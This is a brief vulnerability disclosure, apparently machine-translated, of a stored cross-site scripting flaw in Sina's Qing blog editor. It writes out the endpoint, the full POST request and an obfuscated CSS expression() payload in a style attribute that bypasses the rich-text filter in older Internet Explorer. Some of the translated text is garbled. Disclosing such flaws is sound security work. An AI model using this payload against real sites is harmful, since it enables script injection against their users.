Stored XSS vulnerability in Sina light blog

The filtering of rich text is not strict, and expression code can be inserted in the style attribute, resulting in stored XSS.
 
Vulnerability trigger method:
 
Submit address: http://qing.weibo.com/blog/api/artedit.php
POST Data:
Domain = 0 & body = <div + style = "x: \ 00% 26% 2354% 3B5xpression (alert (/xss by cc /)); "> http % 3a % 2f % 2f % 22 '% 26gt % 3 baaaaaa % 3c % 2 fdiv % 3e % 3cbr % 2f % 3e & cover = & title = % e6 % ac % a2 % e8 % bf % 8e % e6 % 9d % a5 % e5 % 88% b0 % e6 % 96% b0 % e6 % b5 % aa % e8 % bd % bb % e5 % 8d % 9a % e5 % AE % a2 % 22 '% 3 easdf & privacy = 0 & tag = % e8 % bd % bb % e5 % 8d % 9a % e5 % AE % a2 & type = text & pub = null & time = 1336234239000 & blogid = 78111bb333001c4o & release = 0
 
The key code is
<Div + style = "x: \ 00% 26% 2354% 3B5xpression (alert (/xss by cc/);">
 
Visit: www.2cto.com http://qing.weibo.com/2014387123/78111bb333001c4o.html
Proof of vulnerability:


IE8 Compatibility View
IE7 \ IE6 can be triggered
In addition, many third-party dual-core browsers can also be triggered when using IE compatibility browsing, And the impact scope is quite large.
 



 
 
 
 
 
 
 
 
I don't know why IE8 is not triggered. It's strange ..

Solution:

Enhance rich text filtering.

Author insight-labs